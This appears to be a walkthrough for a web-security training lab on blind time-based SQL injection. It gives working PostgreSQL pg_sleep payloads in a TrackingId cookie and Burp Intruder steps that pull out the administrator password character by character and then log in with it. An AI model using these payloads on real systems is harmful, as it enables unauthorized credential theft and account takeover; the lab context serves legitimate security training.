Blind SQL injection with time delays and information retrieval

Description

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

The database contains a different table called users, with columns called username and password. Exploiting the blind SQL injection vulnerability gives the password of the administrator user.

Reproduction and proof of concept

  1. Visit the Home page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.

  2. Modify the TrackingId cookie, changing it to:

TrackingId=Q2FXgn5mU12ePxfM'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

Verify that the application takes 10 seconds to respond.

  1. Now change it to:

TrackingId=Q2FXgn5mU12ePxfM'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--

The application responds immediately with no time delay, demonstrating how to test a single boolean condition and infer the result.

  1. Change it to:

TrackingId=Q2FXgn5mU12ePxfM'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

The condition is true, confirming that there is a user called administrator.

  1. The next step is to determine how many characters are in the password of the administrator user:

TrackingId=Q2FXgn5mU12ePxfM'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

This condition is true, confirming that the password is greater than 1 character in length.

  1. Send a series of follow-up values to test different password lengths. Send:

TrackingId=Q2FXgn5mU12ePxfM'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

Then send:

TrackingId=Q2FXgn5mU12ePxfM'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

And so on. Do this manually using Burp Repeater, because the length is likely to be short. When the condition stops being true (i.e. when the application responds immediately without a time delay), the length of the password is known. It is 20 characters long.

  1. After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests. Send the request to Burp Intruder, using the context menu.

  2. In the Positions tab of Burp Intruder, clear the default payload positions by clicking the “Clear §” button.

  3. In the Positions tab, change the value of the cookie to:

TrackingId=Q2FXgn5mU12ePxfM'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

This uses the SUBSTRING() function to extract a single character from the password, and test it against a specific value. The attack has to cycle through each position and possible value, testing each one in turn.

  1. Place payload position markers around the a character in the cookie value. Select the a, and click the “Add §” button (note the payload position markers):

TrackingId=Q2FXgn5mU12ePxfM'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

SQLi

  1. To test the character at each position, send suitable payloads in the payload position defined. In this lab, assume that the password contains only lower case alphanumeric characters. Go to the Payloads tab, check that “Simple list” is selected, and under “Payload Options” add the payloads in the range a-z and 0-9. Select these using the “Add from list” drop-down.

SQLi

  1. To be able to tell when the correct character was submitted, monitor the time taken for the application to respond to each request: Configure the Intruder attack to issue requests in a single thread: Go to the “Resource pool” tab and add the attack to a resource pool with the “Maximum concurrent requests” set to 1.

SQLi

  1. Launch the attack by clicking the “Start attack” button or selecting “Start attack” from the Intruder menu.

  2. Burp Intruder monitors the time taken for the application’s response to be received, but by default it does not show this information. To see it, go to the “Columns” menu, and check “Response received”.

SQLi

  1. Review the attack results to find the value of the character at the first position. There should now be a column in the results called “Response received”. This will generally contain a small number, representing the number of milliseconds the application took to respond. One of the rows will have a larger number in this column, in the region of 10,000 milliseconds. The payload showing for that row is the value of the character at the first position.

SQLi

  1. Re-run the attack for each of the other character positions in the password, to determine their value: Go back to the main Burp window, and the Positions tab of Burp Intruder, and change the specified offset from 1 to 2:

TrackingId=Q2FXgn5mU12ePxfM'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
  1. Launch the modified attack, review the results, and note the character at the second offset.

  2. Continue this process testing offset 3, 4, and so on, until the whole password is known.

  3. In the browser, click “My account” to open the login page. Use the password to log in as the administrator user.

SQLi